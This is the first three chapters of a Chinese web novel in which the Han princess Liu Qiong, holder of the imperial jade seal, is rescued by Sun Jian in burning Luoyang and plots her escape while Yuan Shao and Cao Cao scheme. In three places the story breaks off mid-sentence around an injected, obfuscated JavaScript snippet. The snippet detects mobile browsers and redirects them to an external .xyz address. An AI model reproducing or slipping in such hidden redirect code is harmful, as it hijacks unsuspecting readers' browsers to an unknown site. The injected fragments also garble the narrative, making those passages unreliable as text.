《抱着玉玺穿三国》 1. 传国玉玺 公元190年,十八路诸侯起兵讨伐董卓及其西凉军,欲要拨乱反正,救大汉于水火。 战事持续到次年,董卓等人眼看情形不妙,果断下令焚毁都城洛阳,挟持小皇帝刘协,并装载金银珠宝各种财物数千余车,由部下护送,一路往长安奔逃。 却说董卓座下部将赵岑,见其已经彻底放弃洛阳,自知抵挡不住关东联军,为求自保,便主动献出了汜水关,放众人进来。 孙坚一马当先,率先进入洛阳城,入目所见,却是火光冲天,黑烟铺地,哀嚎之声不绝于耳。 孙坚一边吩咐部下灭火救人,一边朝皇宫方向飞奔而去。 待到各处宫殿火焰渐熄,所余只有一地残垣断壁,到处都是烟熏火燎,丝毫不见煌煌帝都的风采。 及至傍晚时分,孙坚和部下程普正于建章宫外院中抬头望天,却见紫薇星暗淡,白雾弥漫。 “想我大汉基业前后四百余年,这是何等煊赫,怎奈董贼乱世,奸臣祸国,竟将都城付之一炬。” “连累的历代先帝牌位宗庙都不得奉血食,真是可悲可叹啊。”孙坚简直痛心疾首。 “主公先前不是已经派人去整理宗庙,奉上祭品了吗?想来历代先帝在天有灵,也必会感念主公的忠君之心啊。”部下程普在一旁劝慰。 “但愿如此吧。”孙坚叹了一口气。 两人正说着话,却突然听到身后的建章宫内传来响动,稍时便有兵士来报,言说宫殿东南方向有五彩华光显现,似有宝物现世。 孙坚闻言,立刻带上程普并一众侍卫前去,而彼时,万年公主刘琼正和自己的侍女慧儿躲在枯井之中。 听着外面越来越近的脚步之声,刘琼抱紧了挂在自己脖颈处的锦囊,再三叮嘱慧儿。 “待会儿无论你看到什么,又遇上了谁,都不要惊慌,一定要表现出我大汉公主贴身侍女的气势来。” “记住,千万不要怕,不要露怯,否则你我必有性命之忧,明白吗?”她这话已经重复了很多遍,但还是不放心。 “殿下放心,奴婢记住了。”慧儿连连点头,不敢忘记一个字。 “很好。”说完这两个字,刘琼就晕了过去。 “殿下,殿……”,慧儿连忙接住她,并连连呼唤。 可还不等喊第二声,便见一只金凤从她身上显化出来,一跃而起冲出枯井,只听声声凤鸣响彻大殿,直把顺着动静找来的孙坚等人惊的目瞪口呆。 而此时,枯井中的慧儿也回过神来,自家公主身上颇有些神异,她这个贴身侍女自是知晓,只是先前未曾见过这等奇特的大场面而已,这才愣住了些时候。 好在她反应够快,在金凤从外面再次飞回公主身上,并消失不见时,慧儿已经整理好了心情,再次呼唤起来。 “殿下,殿下,你醒醒啊,醒醒啊。” 而无论是金凤的指引,还是慧儿的声音,都将孙坚等人引来了枯井旁边。 “井里有人,快,快救上来。”孙坚赶紧招呼部下放下绳子。 不多时,两女便被拉了上来。 孙坚等人看她们虽发髻凌乱,但却身着宫装,不似寻常,便定了定神后,出言询问。 “尔等是何身份?又为何躲于枯井之中?” 说话间,部将韩当立功心切,看慧儿一直护着昏迷的刘琼,自然以为她更重要,正要上前去查看,却被厉声喝止。 “放肆!” “此乃万年公主当面,尔等岂敢造次?” 慧儿壮起胆子怒斥对方。 韩当被一小女子突然呵斥,愣神之后,便觉面上挂不住,正要上前理论,却被孙坚拦住,并示意他退下。 “方才便听见有人在井中唤‘殿下’,如今你又言是万年公主当面,可有身份凭证?”孙坚直接要证据。 “欲问他人姓名来处,将军何不先自报家门,表明身份,也省了许多猜疑。”慧儿却不答反问道。 “也罢。”孙坚想想也是,便给了一旁的部将程普一个眼神。 “姑娘莫怕,我主乃是长沙太守,姓孙名坚,字文台,世受朝廷恩赏,赐爵乌程侯。” “如今董贼祸国,人人得而诛之,我主自领兵来洛阳与其他诸侯会盟讨伐叛逆。” “适才见凤鸣九天,以为贵人在此,这才找了过来。” 程普简单说了一下来龙去脉,又示意孙坚拿出表明身份的金印青绶。 “原是太守当面,奴婢慧儿,乃是万年公主身边侍女,方才多有冒犯,还望将军莫要怪罪。” 通报了姓名,又亲眼看了系着深青色绶带的金色印章,知道对方不是董卓逆臣一流,慧儿的脸色总算缓和了不少。 “而这正是公主。”说着,她把昏迷的刘琼半扶起来,让其靠在自己身上。 “方才那金凤也是从公主身上飞出,鸣叫一阵后,又落在公主身上消失不见了。” 慧儿是实话实说,可孙坚等人却听的面面相觑。 不是他们不信,而是觉得太过神异,可偏偏刚才他们也是亲眼所见,又做不得假,一时也是左右为难。 孙坚和程普互相用眼神交流着,还没个结果时,韩当便又忍不住了。 “你说这是公主就是公主啊,刚才你不止朝我们询问来历,还要身份凭证,如何轮到自己却只凭一张嘴了?”他振振有辞的质疑。 “你这部将好生无礼!” “公主便是公主,龙子凤孙岂能作假?” “即便不提刚才金凤祥瑞,便只说传国玉玺在此,若非皇室血脉,何人能持此宝?” 慧儿怒斥那人一句后,便立刻看向了孙坚,又指着刘琼脖颈处所挂锦囊,一语道破其中奥秘,以求自证清白。 “嗯?!” ‘传国玉玺’四字一出,当下这气氛就不一样了。 韩当下意识就想伸手去抢,可孙坚却眼疾手快拦住了他,这是怕他再激怒对方,还特地将其挡在了一旁,又给了程普一个眼神,后者心领神会。 “并非我等不信姑娘,只是传国玉玺一事干系重大,实在不容有失,烦请姑娘将其取出一观,我等也好心服口服。” 话到此处,程普甚至行了一礼,这当然不是对着慧儿这个宫女,而是对着她怀中的公主,以及可能在公主身上的传国玉玺。 “只是一观?”慧儿眉头一皱。 “只是一观,绝不敢冒犯。”程普承诺,孙坚也点头表态。 “……只能我拿在手上,你们来看就是。”慧儿斟酌再三道。 她其实非常担心这些人会起觊觎之心,但好在公主先前的鼓励一直支撑着她,让她仍有胆色争取余地。 “就依姑娘所言。”程普和孙坚对视一眼后,果断同意了。 因天色已晚,殿内昏暗,程普便拿过一旁兵士手中火把,自己凑过去看。 而慧儿也从锦囊中取出一朱红小匣,拿出钥匙打开其上金锁,将玉玺拿在手上。 只见此宝方圆四寸大小,其上镌刻五龙交纽之形,且四角缺一,以黄金镶之,底部又刻有八字篆文,乃“受命于天,既寿永昌”。 程普细细看了半晌,众人也在一旁等的焦急万分,片刻后,他起身站起,回到孙坚身旁。 而慧儿也赶紧把玉玺收回匣中,再次上锁,放入锦囊让刘琼抱好,自己则是护住了对方。 “如何?”孙坚迫不及待的询问道。 “主公,借一步说话。”程普却抬了抬手,示意他跟自己来。 孙坚点头跟上,韩当也想跟去,却被他制止,就这样,两人走到角落里,而侍卫们也自觉分散于四方为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656103|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其守护。 “主公,确为传国玉玺啊。”程普也不啰嗦,直接告知结果。 “果真吗?”孙坚闻言,又惊又喜。 “果真。”程普点了点头。 “昔日卞和于荆山之下,见一金凤栖于青石之上,以为神异,便以此石进献楚文王,楚文王派人解之,果得宝玉,称为‘和氏之璧’。” “不久此宝落入秦国,后秦始皇一统天下,令良工将其琢成玉玺,李斯又篆此八字于上。” “秦二十八年,秦始皇巡狩至洞庭湖,风浪大作,舟船将覆,急投玉玺于湖中,风浪方止。” “又八年后,始皇巡狩至华阴,有人于路旁献上此宝,玉玺又复归于秦也。” “第二年,秦始皇驾崩,其孙子婴后来将玉玺献于汉高祖,乃成传国玉玺。” “大汉传一十二帝后,王莽篡位,奸臣祸国,向孝元皇后索要此宝,皇后愤而掷之,玉玺因此崩碎一角,后以黄金补之,遂成‘金镶玉’之形。” “后光武皇帝击败王莽,中兴汉室,此宝又归于大汉,传至今日。” 程普把此宝的来历说的清清楚楚,孙坚也听的很是认真,不止是他,在场的其他人也都竖着耳朵听,生怕遗漏一星半点。 “先前十常侍乱政,劫持少帝,言说玉玺丢失,今日得见方知,原来不是丢失,而是落入公主之手。” “主公,常言道,‘凤凰不落无宝之地’,先前金凤引路,令主公搭救公主,已为神异。” “如今又因而得见传国玉玺,可见冥冥之中自有天意,主公切不可错失良机啊。”程普压低声音进言道。 “那你说这宝贝是公主,还是玉玺?”孙坚眸光一闪,反问道。 “属下认为两者皆是。”程普都给予肯定。 “主公难道忘了方才那宫女所言吗?金凤可是为公主而来,且公主也的确是龙子凤孙,做不得假。” “更重要的是,这金凤还是国母的象征啊。”最后这一句,程普加重语气强调道。 “你的意思是……”,听出他的言外之意,孙坚就连呼吸都变得急促起来。 “主公,无论是金凤随身的公主,还是秦汉两朝的玉玺,皆是世所罕见的宝物,此地不宜久留,我等当速回江东,别图大事。”程普拱手行了一礼,正色道。 “此言正合我意。”有些话不必说的太清楚,孙坚就明白了,连连点头赞同。 “那我明日便告病辞归,以保万全,传令下去,今夜之事,所有人务必守口如瓶,不得有误,违令者,斩!”他如此吩咐道。 “属下遵命。”程普行了一礼就要去布置,可孙坚却突然拉住了他。 “主公?”程普疑惑的回头看他。 “公主和玉玺,我等是必要带走的,可那个宫女……”,孙坚眼里闪过一丝杀意。 “主公不可。”程普看出他的意思,却出言劝阻。 “此人虽为宫女,却是公主贴身侍女,受其信任,以身家性命相托,实在不可轻动。” “况且我军中皆为儿郎,公主年幼娇贵,我等也未必能够照料得当,倒不如先留她一命,以待来日,主公以为如何?”程普提出了不同意见。 “既如此,那就先留着她伺候公主。”孙坚听到这儿,也觉得有理,便点头应允。 两人商议妥当,便做出一副忠臣模样,好言好语劝说慧儿带着公主和玉玺与他们一同离去,慧儿想起公主先前嘱托,自是答应跟随。 孙坚遂取下披风遮住昏迷的刘琼,亲自抱她出了建章宫,慧儿,程普,韩当等人并侍卫们紧随其后,一众人行色匆匆,朝着军队营地而去。 他们走的匆忙,天色又暗,便无人注意到侍卫中有一人故意掉队,且那人还趁着夜色悄悄朝着袁绍的营帐所在而去了。 2. 公主自救 孙坚连夜回了自己的营帐,将昏迷的刘琼安置好,慧儿更是寸步不离的守着她。 为保公主和玉玺的安危,孙坚还特地派人找来老将黄盖守在账外,自己则是和程普等人再次密议。 及至次日,天光大亮,仍留黄盖守在营中,而孙坚自己则是带着程普,韩当等人前往袁绍处辞行。 彼时袁绍早已得了消息,提前摆下阵势,又邀其他进驻洛阳的诸侯一起。 等孙坚等人一来,便见旌旗招展,众将分坐两旁,袁绍高坐上首,位于正中,袁术则在他左手边的位置上。 大家基本都按会盟时的排位就坐,符合规矩,只还有几个空缺,乃是曹操,刘备……等人的席位。 不过现在没人在意这个,特别是袁绍和袁术两兄弟,他们都在等着孙坚。 而孙坚带领程普和韩当等人来到此处时,见这许多诸侯都在,心中不免惊讶,但还是按照昨晚商量好的开始表演了。 “坚偶感小疾,又逢战伤发作,实在不堪再战,未免拖累盟军,故想先回长沙,特来告辞。”孙坚走上前去站定,拱手行了一礼,姿态摆的很低,话也说的漂亮。 “你这病恐怕不是因为战伤,而是为了公主和玉玺吧。”只是袁绍听到这儿,却冷笑一声道。 “盟主何出此言啊?”孙坚脸色微变,但仍强装镇定。 “文台兄,俗话说得好,‘若要人不知,除非己莫为’。” “昨夜先有金凤引路,后有宝物现世,公主和玉玺正合那异像,不是吗?”袁术也在一旁帮腔。 “……”,听他说出种种细节,孙坚的脸色更难看了。 “我等兴兵讨贼,为国除害,乃是义军,可你却私自藏匿公主和玉玺,是何道理?”袁绍见状,继续质问。 “可不是嘛,公主乃是先帝幼女,当今天子亲姊,金枝玉叶,何等尊贵,再说玉玺,那可是朝廷重宝,皇室命脉。” “无论是哪个,也不该是你一区区太守能拿的啊。”袁术也接着帮腔。 “诚然如公路兄所言,公主乃天之骄女,玉玺为国之重器,这等世所罕见的珍宝又岂会在我手中?我孙坚何德何能啊。” 即便已经被人用话怼到这个份儿上,孙坚依旧硬着头皮装糊涂,面上满是困惑委屈之色,仿佛受了天大的冤枉似的。 “那你倒是说说看,建章宫枯井之中,到底有什么?”袁绍冷哼一声,直接起身站起,走到他面前问道。 “……”,听到这儿,孙坚就知道必然是走漏了消息,可他也清楚,此时绝不能改口,否则必有祸患。 “盟主都说是枯井了,那里面还能有什么?无非一些杂草碎屑罢了。”他接着狡辩道。 眼看他死鸭子嘴硬,就是不承认,袁绍也不耐烦跟他纠缠了,直接打了个手势,随后便有一兵士出列,走到了众人面前。 “建章宫解救公主之时,可有此人在场?”袁绍指着那兵士问孙坚。 “……”,眼看果真出了叛徒,走漏了风声,孙坚怒火中烧,当即拔出剑来,便要了结此人,谁知袁绍比他更快,立刻抽剑阻拦。 “当!” 两柄长剑直接相交于那兵士身前。 “你欺我太甚!”此举简直是不打自招,袁绍的怒火再也压不住,直接就冲对方骂道。 眼看双方剑拔弩张,刀兵相见,其他诸侯赶紧起身打圆场,将两人兵刃按下,稳住局面。 “公主乃天潢贵胄,玉玺是传国重宝,你既得之,就该当众留于盟主处,待到来日诛灭董卓,迎回陛下,复归天家。” “可你今日却故意藏匿,欲要将其一并带走,岂非谋逆?!” 袁绍占据了道德制高点,直接发起了终极攻击,将此事上升到国家高度,欲要迫使对方就范。 “我军中皆是儿郎,何来公主?至于玉玺,更是无稽之谈。”孙坚咬死不承认。 “倒是这个兵士十分可疑,他本是我军中侍卫,如何现在却为你作证?” “莫非你这盟主在我等诸侯的军中都安插了眼线不成?”他还倒打一耙,质疑起袁绍来。 此话一出,其他诸侯也都小声议论起来,袁绍见状,更是快要气炸了,可偏偏他又没法反驳。 这个兵士虽不是他故意安插进去,但也是他同乡之人,只因想要个进身之资,这才把昨晚的消息偷偷透露给自己的。 可这话好说不好听啊,更别提这会儿当着这么多诸侯的面呢,人人都看着他这个盟主,袁绍也不能丢份儿啊。 正在左右为难之际,还是袁术开口转移了话题。 “文台兄,你就别顾左右而言他了,现在还是快把公主和玉玺交出来吧。” “若果真没有,那你刚才又为何要暴起杀人,这岂不是自相矛盾吗?” 他难得有一次抓住了重点,还一针见血指出了其中的不妥。 听到这话,其他诸侯也觉得有道理,怀疑的眼光再次落到了孙坚身上,探子不探子的先放在一边,公主和玉玺的消息才是重中之重啊。 “公主和玉玺本不在我处,你等又何必苦苦相逼?”孙坚咬紧牙关,面露威胁。 “快快交出,以免生祸!”袁绍却毫无惧色,厉声命令道。 “皇天在上,我若果得公主和玉玺,私自藏匿,翌日不得善终,死于弓箭之下!”孙坚心一横,当即跪地,指天赌咒发誓。 此举一出,在场其他诸侯果然动摇,现如今的人们还是很信皇天后土的,这些话可不能随便说,况且是关乎身家性命的大事。 孙坚更是抓住机会,带着部将就要离去,袁术眼看对方就要走脱,自己功亏一篑,心下实在不甘。 于是他便向袁绍进言,直接对孙坚等部进行搜营,玉玺不好找,可公主还不好找吗?只要搜营,必有所获。 可袁绍却十分不悦的回绝了他,袁术正要再提,其他诸侯已然议论纷纷,可见这搜营的提议实在是触到他们的底线了。 眼看自己就要犯了众怒,袁术纵然心有不甘,还是住了口,不再提此事。 袁绍也顺势给他找了个台阶下,言说袁术是因为担忧公主和玉玺这才失了分寸的,请大家不要怪罪。 其他诸侯听到这儿,才总算没有再追究,话题再度回到最初。 现在情况不明,且无凭无据,人证又遭到了质疑,实在不好对孙坚等人动手,但也不能就这么放他们走。 最后大家取了个折中的主意,让孙坚等人先留在洛阳,等几日后商议出结果再做打算。 孙坚眼看众人达成了一致,自己若是坚持现在离去,恐有心虚之嫌,没办法,只能硬着头皮答应下来,如此,他和一众部将这才脱身离开袁绍营帐。 他们才走一半,便见信使急匆匆要进去禀报,原是曹操等人立功心切,带兵追击董卓他们,却遭了埋伏,大败而归,正丢盔弃甲回来了。 孙坚根本不在意这消息,他只想赶紧离开这里,可他身边的程普却上了心,派人盯着这边。 待到午时便有兵士回营帐禀报,袁绍和其他诸侯为曹操等人接风,席间似乎闹的很不愉快,曹操他们也有离去之意了。 得此信息,程普立刻去找孙坚商议,却听见他正吩咐心腹兵士准备些精细的膳食,然后秘密送去黄盖看守的营帐那里。 程普心知这是为了公主,便没有说什么,待到那人走后,这才向孙坚进言。 他们正在密谈如何脱身之时,黄盖已经查看过送去的膳食,又由慧儿亲自拿回营帐中。 彼时,刘琼已经醒了过来,正半坐在床榻上休息。 “殿下,孙太守着人送了饭菜过来,奴婢服侍殿下用膳吧。”慧儿先把食盒放到营帐中的案台上,又去扶刘琼。 “也好。”刘琼顺势起身,和她一起来到案台前坐下。 慧儿打开食盒,先将第一层的饭菜拿出来,东西不多,只一碗白饭,一碟酱肉,一盘葵菜而已,这自然是给刘琼吃的。 而下面一层则是一份干饭,并一条咸鱼干, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656104|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这是给慧儿的。 哪怕落魄至此,该有的尊卑礼节也不可废,公主与奴婢的饭菜自然不同,可看到这些,慧儿还是抱怨起来。 “殿下,这孙太守也太不讲究了,他明知殿下是金枝玉叶,偏偏还送这等简陋吃食过来,真是有够怠慢的。” 她说这话倒不是为了自己,而是为刘琼叫屈。 “眼下正值乱世,你我又寄人篱下,有些事情不宜苛责。” 可刘琼本人却并不在意,她拿起筷子,端起那碗还冒着热气的白饭,又拽过慧儿那份盛着干饭的盘子,拨给她一些饭不说,又夹了不少酱肉和葵菜给她。 “殿下,这怎么使得?”慧儿惊的连忙想要阻止。 “你我主仆相依为命,一些吃食又算得了什么?”刘琼却避开了她的手,继续把自己的饭菜给她一部分。 “奴婢谢殿下赏。”慧儿眼眶含泪,赶紧行了一礼,谢恩道。 “你哪里需要谢我?该谢孙太守才是,眼下这顿饭,他也算是有心了。”刘琼一边招呼她吃东西,一边压低声音跟她说话。 “这么简陋的吃食,还算有心啊。”慧儿不明白,但她很上道的往公主那边靠了靠。 “当然有心了,你还记得昨晚他给你送的吃食是什么吗?”刘琼不答反问道。 “面饼啊。”慧儿回答道。 “还硬的很,昨晚奴婢要不是就着水一起吃,都感觉咽不下去。”她现在想起来还觉得有点噎得慌呢。 “是啊,面饼,还是硬面饼,又只配给了水一起食用,说明那是军粮,还是盟军供给的粮食,洛阳地处中原,多种粟麦,军中干粮也以此制作。” “可你再看今日他派人送来的又是什么?”刘琼指了指桌上的饭菜,“无论是白饭,还是干饭,都是稻米所制。” “白饭虽是现蒸的,但这干饭却必是军粮,而且一定是他们从南方过来自带的军粮。” “也只有江南地区才能出产大量的稻米以供军用。” “连我们的饭菜都要自己人单做,而不使用盟军供给,这也就意味着,孙坚根本没打算把我们两个在这儿的消息告诉其他诸侯。” 只凭借饭菜的变化,刘琼就把孙坚的打算猜了个八九不离十。 “莫非他有不轨之心?那我们岂不是……”,慧儿当即就紧张起来。 “怕什么?他有张良计,我有过墙梯,别的你不用多问,只安心吃东西,保存体力,待到合适的时机,听我吩咐就是。”刘琼却镇定自若,悄声安抚道。 “奴婢都听殿下的。”慧儿自是连连点头,并使劲儿往嘴里扒拉饭菜。 她隐隐猜着公主应该是想带她一起离开,那现下自然要多多吃饭,身上有力气才好逃跑啊。 而她猜的也没错,刘琼确实打算离开孙坚这里。 不止是因为对方居心不良,更是因为她知道孙坚不久后就会不得好死,她可不想跟着他一起下黄泉。 至于怎么离开这里嘛,刘琼微微歪头看向了半空中,那里正有一面半透明的光幕,上面有字迹显化,与此同时,她耳边也传来了提示音。 “恭喜宿主,你已成功于奸臣董卓手中自救,并初步闻达于诸侯,声望值提升百分之三,亲和力加十,请选择作用于人还是动物。” “选择作用于动物。”刘琼思虑一瞬后,在心中默念道。 “设定完成,请宿主再接再厉。”耳边传来成功的提示音后,刘琼就关掉了光屏,接着吃饭。 而这一切,在她旁边的慧儿都毫无所觉,但守在营帐外的老将黄盖却在不久后发现有些鸟儿陆陆续续的落到了营帐周围,还‘啾啾’的叫个没完。 不过他也没太在意,这会儿正是春末夏初的时节,有些莺鸟之内的飞禽再正常不过,不值当特别关注的。 也因此,当他来收食盒,看到有些小鸟飞进营帐,刘琼还用一些剩饭粒喂它们时,也没觉得有什么不对,只当是小女孩心性,怜惜小动物罢了,殊不知这其中却大有文章。 3. 各有打算 却说程普得了消息,去给孙坚出主意。 “主公,我已得到消息,曹操等部大败而归,现在又与其他诸侯不睦,不日定然拔营离去。” “属下认为,我们应该跟着曹操等人一起走,这样既不显眼,也可互相照应。”程普提议道。 “不显眼是不显眼了,这互相照应又是何意啊?”孙坚不明白。 “回主公的话,不久前探子来报,言说曹操等部已经决定去扬州募兵,我等也要南下回长沙,从洛阳到许昌这段儿正好同路,故而有此一说。”程普解释道。 “洛阳到许昌将近三百余里,我等若是与曹操等人同行,万一被其看出端倪,那又如何是好?”孙坚很是担心。 “此事不难,我部只需轻装简行,骑快马离开,日行一百五十里不成问题。” “从洛阳到许昌,所需也不过两日,只要瞒过这两日,接下来就好说了。”程普却摆了摆手。 “我和儿郎们骑快马赶路自然无事,可公主身娇肉贵,年纪又小,真的这样行军,她受得了吗?” “还有,若真要她和那宫女一起在外骑马,这也不好瞒住身份啊。”孙坚还是为难。 他说的也的确是实情,如今刘琼才十一二岁,慧儿比她大些,可也不过十三四岁。 要这么两个小姑娘和他们这些五大三粗的兵将一起骑快马赶路,着实是难为她们了。 更何况,她们两个这样,就算是换了衣服也不好隐藏身份啊,那军队里的男儿郎和宫中出来的女娇娥大有区别的。 “主公,此事不难,我们可以这样……”可程普却略一思索后就有了办法,凑过去在孙坚耳边不知说了什么,听的对方连连点头。 “就按你说的办,至于曹操那儿,我亲自去谈。”孙坚如是说。 “主公亲自出马,想那曹操必然不会拒绝。”程普也放心了。 “嗯。”孙坚也深以为然。 他们两个定好计策后便分头行动,程普派人去准备马车粮草等物,而孙坚则是带上韩当一起去了曹操的营帐,向他表明同行之意。 曹操刚打了败仗,又见诸侯各有心思,无心报国,正在心灰意冷,欲要离开之时,突然迎来了孙坚这位江东猛虎。 听他对自己一阵吹捧,又言说两人皆是汉家英雄,心下自然舒坦不少。 正好他的军队也损失惨重,南下时难免会有隐忧,有鉴于此,曹操也就很痛快的答应了孙坚的提议,两家一起做个伴儿。 得了准信儿,孙坚自是高兴的离去了,而曹操则又半歪在床榻上休息,昨日诸侯聚会饮酒,他宿醉一夜,现下有些头疼。 只是才眯了没一会儿,就听外头传来了一阵熟悉的叫喊之声,还夹杂着一些稚嫩的斥责。 “主公,主公,你看我抓了个什么好玩意儿,它还会说话呢。”曹操正在纳闷儿呢,便见自己的堂弟兼属下曹仁兴冲冲的提着一个笼子进来了。 “子孝,你到底抓到什么了?也值得这样吵嚷?”曹操嘴上说着责怪,但言语却只是寻常,可见并未真的生气。 “主公,你快瞧啊。”说着,曹仁便把那笼子提到了他面前。 曹操定睛一看,却见里面关了一只巴掌大的鸟儿,它红嘴绿羽,腹部还有些粉色绒毛,看着花里胡哨的。 这本算不得什么,但奇特的是,它居然会说人话。 “坏人,坏人,抓我的坏人。” “救命,有坏人来了。” “有坏人来了,救命啊。” …… “主公怎么样?是不是很神奇啊,会说人话的鸟儿啊,我长这么大,还是头一回见呢。”曹仁兴致勃勃的。 “嗨,这有什么稀罕的,不过是只鹦鹉罢了。”曹操却是一眼就认出了这东西的品种。 “鹦鹉?鹦鹉是什么东西啊?”曹仁是真不知道。 “这本是岭南出产的一种鸟儿,因色彩鲜艳,且会模仿人声,而受到喜爱。” “有好事者为讨好皇亲贵戚,便将此物作为贡品奉上,宫廷之中豢养了不少。” “先前洛阳城大火连天,众人忙着逃命,无暇顾及其他,这小东西大概就是那时候逃出来的吧。” 曹仁不认得,曹操却有见识,他祖上是宦官之后,年轻时又爱走鸡斗狗,走街串巷的玩耍,这些个鹰犬之类的东西倒也知道不少。 “会模仿人声,那不就是学舌?”曹仁一听来了兴趣,开始逗那鹦鹉。 “来,跟我说一句,‘将军威武’,‘将军威武’,快说啊。”他清了清嗓子,一边吹口哨,一边让它按自己说的重复。 “坏人,坏人,公主救我,公主救我。”然而鹦鹉根本不理他,只一个劲儿的扑闪着小翅膀叫喊。 “公主救你?怎么你这小东西也在说公主啊。”曹仁晃了晃笼子。 “公主?什么公主?”曹操昨天喝酒宿醉,又心情烦闷,根本不知发生何事,这会儿听的有趣,随口问了一句。 “就是……”,曹仁正要回答,那小鹦鹉却抢先说了起来。 “公主还好吗?” “公主吃点东西吧。” “玉玺太沉了,先把它拿下来吧。” 它在那儿说个没完,曹操却听的眉头紧皱,他心知这鹦鹉只会学舌,并无多少智慧,可现在它却说出了这些话,可见是真的听到了什么,一遍又一遍重复呢。 “子孝,你刚才想说什么?”曹操想不通其中的关窍,便直接发问。 “奥,也没什么,就是外头都在传,说孙太守等人在建章宫枯井中救了万年公主,传国玉玺也在公主身上。” “此事被一兵士透露出去,昨日袁盟主便当众朝他索要,可孙太守咬死不承认,双方僵持住了。” “最后还是其他人打了个圆场,让孙太守他们在洛阳多留几天,等事情查清楚了再走。”曹仁把自己听来的种种如实告知。 “嗯?!”他只当个八卦听,说完就继续逗鹦鹉了,可曹操却敏感的察觉到了不对劲。 如果人人都知道袁绍不许孙坚等人离开洛阳,唯独他不知道,那今日孙坚特地来找他,言说要和他结伴离去,这里头的门道可就多了。 “快说‘将军威武’,‘将军威武’,快说啊你。”曹操陷入了思考,可曹仁却还在那儿摇晃笼子,一个劲儿要鹦鹉学他。 “坏人,坏人抓我。” “公主救命,公主救命。” 小鹦鹉被他晃得都站不稳了,可还不忘了骂他并求救。 “什么坏人啊,我是将军,快说‘将军威武’,说了就给你好吃的。”曹仁却不管不顾,继续摇晃笼子。 “子孝,把它给我。”曹操听着一人一鸟的吵嚷,本欲呵斥他们闭嘴,可却突然想到了什么,伸手朝他要。 “主公,你也想玩啊,可它不听话。”曹仁一边抱怨着,一边把笼子递了过去。 “或许它只是不听你的话而已。”曹操提着笼子来到营帐边上,曹仁跟在他身旁。 “待会儿我把它放了,你就追过去,看它要去何处,如若是去孙坚的营帐那边,切记不可声张,派人悄悄盯着,你则亲自回来报我就是。” 话到此处,曹操打开笼子将那小鹦鹉抓在手中,随即走出营帐,抬手一扔,小鹦鹉便扑棱着翅膀飞走了。 “主公,属下……”曹仁还一脸懵呢,不知道这抓了放,放了又让他追,到底是什么意思,正想问问,可话才起了个头,就被打断了。 “你现在不追,待会儿就追不上了。”曹操催促道。 “……是,属下这就去追。”曹仁只得匆匆行了一礼,朝着鹦鹉飞走的方向狂奔而去。 曹操则一点睡意也没有了,在营帐里来回踱步,等待结果,不多时,曹仁便回来了。 “如何?那鹦鹉可是去了孙坚处?”曹操迫不及待的询问道。 “主公英明,还真是飞到孙太守他们那边去了。” “还有一件事挺奇怪的,属下看到许多马车在他们军营里进进出出,不知要做什么,便找了个小兵偷偷去问。” “结果听人说,是孙太守爱护那些受伤的兵将们,这次回长沙,要把他们也一起带回家去。” “只是有些人伤势颇重,骑不得快马,这才需要坐马车的。” “要真是这样,那孙太守这人还挺不错的呢。”曹仁如实禀报 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15656105|172867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了得来的消息,末了,还不忘了感叹一句。 “是真的爱兵如子,还是借此掩饰,另有所图,恐怕就只有他孙文台自己清楚了。”然而曹操却扯了扯嘴角,意味深长道。 曹仁看不出来这里头的弯弯绕,可却瞒不过他的眼睛。 公主,玉玺,马车……等等,这一桩桩,一件件,无一不是线索,一旦串联起来,那么真相也就呼之欲出了。 有些事情不知道也就罢了,可现在既然知道了,那就再没有说什么都不做,擎等着被人算计的。 “子孝,你来。”思及此处,曹操朝曹仁招了招手,“你这样……”,也不知他吩咐了什么,总之曹仁听完之后,兴冲冲的出去准备了。 而无论是孙坚还是曹操这边的举动,也尽数被袁绍那边得知。 彼时,袁术也在,两兄弟听着下头人的禀报,却得出了完全相反的看法。 “我说什么来着?这个曹操也不老实啊,居然要和孙坚那厮一起逃走。” “这焉知不是已经有所勾结,想要昧下公主和玉玺啊。”袁术不吝以最大的恶意去揣测两人。 “不会的,孟德不是这种人。”然而袁绍却不信,又细细问了禀报的兵士一番。 这才得知曹操和孙坚等部虽然都在准备马车,也都是对外说要运伤员,但也的确有所不同。 曹操等部用的是四周无遮挡的那种简易马车,而孙坚他们准备的却是厢式马车,后者是封闭的。 一个坦坦荡荡,一个遮遮掩掩,那么到底谁心中有鬼,也就一目了然了。 “你看吧,我就说孟德绝不会背叛大汉,他是忠臣。”袁绍也更坚定的相信自己的发小。 “忠臣?这是不是忠心为国,外人哪里看得出来?” “万一他是个面上憨厚,内里藏奸的也未可知啊。”袁术却对此嗤之以鼻,仍然持怀疑态度。 